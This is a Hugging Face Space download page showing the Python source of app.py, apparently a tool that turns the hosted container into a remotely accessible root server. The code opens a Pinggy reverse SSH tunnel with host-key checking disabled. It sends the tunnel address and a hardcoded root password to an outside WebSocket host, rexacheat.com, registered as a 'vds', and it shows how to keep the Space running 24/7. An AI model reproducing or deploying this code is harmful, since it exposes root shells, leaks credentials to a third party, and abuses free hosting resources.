Download app.py from swefse/wa: direct link, hf CLI and curl.
- Browser
- Download file 5.33 kB
-
https://huggingface.co/spaces/swefse/wa/resolve/main/app.py
- Command line
-
hf download hf://spaces/swefse/wa/app.py
-
curl -L -o app.py https://huggingface.co/spaces/swefse/wa/resolve/main/app.py
5.33 kB
| import gradio as gr | |
| import asyncio | |
| import websockets | |
| import json | |
| import subprocess | |
| import time | |
| import os | |
| import re | |
| from threading import Thread | |
| from datetime import datetime | |
| import aiohttp | |
| # Global state | |
| ssh_info = {"status": "Starting...", "link": None, "last_update": None, "uptime": 0} | |
| start_time = time.time() | |
| def run_command(cmd): | |
| """Execute shell command and return output""" | |
| try: | |
| result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30) | |
| return result.stdout + result.stderr | |
| except Exception as e: | |
| return f"Error: {str(e)}" | |
| def setup_ssh_tunnel(): | |
| """Setup Pinggy SSH tunnel""" | |
| global ssh_info | |
| try: | |
| # Ensure SSH server is running | |
| ssh_status = run_command("ps aux | grep sshd | grep -v grep") | |
| if not ssh_status: | |
| ssh_info["status"] = "SSH server not running" | |
| return None | |
| # Kill existing Pinggy processes | |
| run_command("pkill -f 'tcp@a.pinggy.io' || true") | |
| time.sleep(2) | |
| # Start Pinggy tunnel (background) | |
| ssh_info["status"] = "Starting tunnel..." | |
| subprocess.Popen( | |
| "ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -p 443 -R0:localhost:22 tcp@a.pinggy.io > /tmp/pinggy.log 2>&1", | |
| shell=True | |
| ) | |
| # Wait for tunnel to establish | |
| time.sleep(20) | |
| # Extract link | |
| log_content = run_command("cat /tmp/pinggy.log") | |
| match = re.search(r'tcp://([0-9a-zA-Z\.\-]+:[0-9]+)', log_content) | |
| if match: | |
| link = match.group(1) | |
| ssh_info["link"] = link | |
| ssh_info["status"] = "Tunnel active" | |
| ssh_info["last_update"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S") | |
| return link | |
| else: | |
| ssh_info["status"] = "Failed to get link" | |
| return None | |
| except Exception as e: | |
| ssh_info["status"] = f"Error: {str(e)}" | |
| return None | |
| async def register_to_websocket(ssh_link): | |
| """Register SSH info to WebSocket server""" | |
| if not ssh_link: | |
| return False | |
| try: | |
| async with websockets.connect('wss://rexacheat.com/ws', ping_interval=30, ping_timeout=10) as ws: | |
| payload = { | |
| 'type': 'register', | |
| 'role': 'vds_register', | |
| 'ssh_info': f'SSH: {ssh_link}\nUser: root\nPass: Venom123!' | |
| } | |
| await ws.send(json.dumps(payload)) | |
| ssh_info["status"] = f"Registered: {ssh_link}" | |
| return True | |
| except Exception as e: | |
| ssh_info["status"] = f"WebSocket error: {str(e)}" | |
| return False | |
| def background_worker(): | |
| """Background thread - keeps tunnel alive and registers""" | |
| while True: | |
| try: | |
| # Setup tunnel | |
| link = setup_ssh_tunnel() | |
| if link: | |
| # Register to WebSocket | |
| asyncio.run(register_to_websocket(link)) | |
| # Keep alive for 30 minutes, then refresh | |
| for _ in range(180): # 180 * 10s = 30min | |
| time.sleep(10) | |
| # Check if tunnel still alive | |
| if "tcp@a.pinggy.io" not in run_command("ps aux"): | |
| break | |
| else: | |
| # Failed, retry in 1 minute | |
| time.sleep(60) | |
| except Exception as e: | |
| ssh_info["status"] = f"Worker error: {str(e)}" | |
| time.sleep(60) | |
| def get_status(): | |
| """Get current status for Gradio UI""" | |
| uptime_seconds = int(time.time() - start_time) | |
| uptime_hours = uptime_seconds // 3600 | |
| uptime_mins = (uptime_seconds % 3600) // 60 | |
| return f""" | |
| ## π Hugging Face SSH Tunnel Status | |
| **Status:** {ssh_info['status']} | |
| **SSH Link:** {ssh_info['link'] or 'Not available yet'} | |
| **Last Update:** {ssh_info['last_update'] or 'Never'} | |
| **Uptime:** {uptime_hours}h {uptime_mins}m | |
| ### π Connection Info | |
| ``` | |
| Host: {ssh_info['link'] or 'waiting...'} | |
| User: root | |
| Pass: Venom123! | |
| ``` | |
| ### β‘ Features | |
| - 24/7 SSH Tunnel via Pinggy | |
| - Auto-reconnect on failure | |
| - WebSocket registration to rexacheat.com | |
| - Keep-alive mechanism | |
| ### β οΈ Important for 24/7 Uptime: | |
| **Free Tier:** Space sleeps after 48h inactivity | |
| - Solution 1: Upgrade to "CPU persistent" ($0.60/day) | |
| - Solution 2: External ping every 10 min (UptimeRobot free) | |
| **This Space MUST be PUBLIC** (Private spaces always sleep) | |
| --- | |
| *Auto-refresh every 30s* | |
| """ | |
| # Start background worker | |
| worker_thread = Thread(target=background_worker, daemon=True) | |
| worker_thread.start() | |
| # Gradio Interface | |
| with gr.Blocks(title="SSH Tunnel Service") as demo: | |
| gr.Markdown("# π Hugging Face SSH Tunnel Service") | |
| gr.Markdown("*Automated SSH tunnel with 24/7 uptime*") | |
| status_box = gr.Markdown(get_status()) | |
| refresh_btn = gr.Button("π Refresh Status", variant="primary") | |
| # Auto-refresh every 30 seconds using Timer | |
| timer = gr.Timer(value=30) | |
| timer.tick(fn=get_status, outputs=status_box) | |
| refresh_btn.click(fn=get_status, outputs=status_box) | |
| if __name__ == "__main__": | |
| demo.launch( | |
| server_name="0.0.0.0", | |
| server_port=7860, | |
| theme=gr.themes.Soft(), | |
| show_error=True | |
| ) | |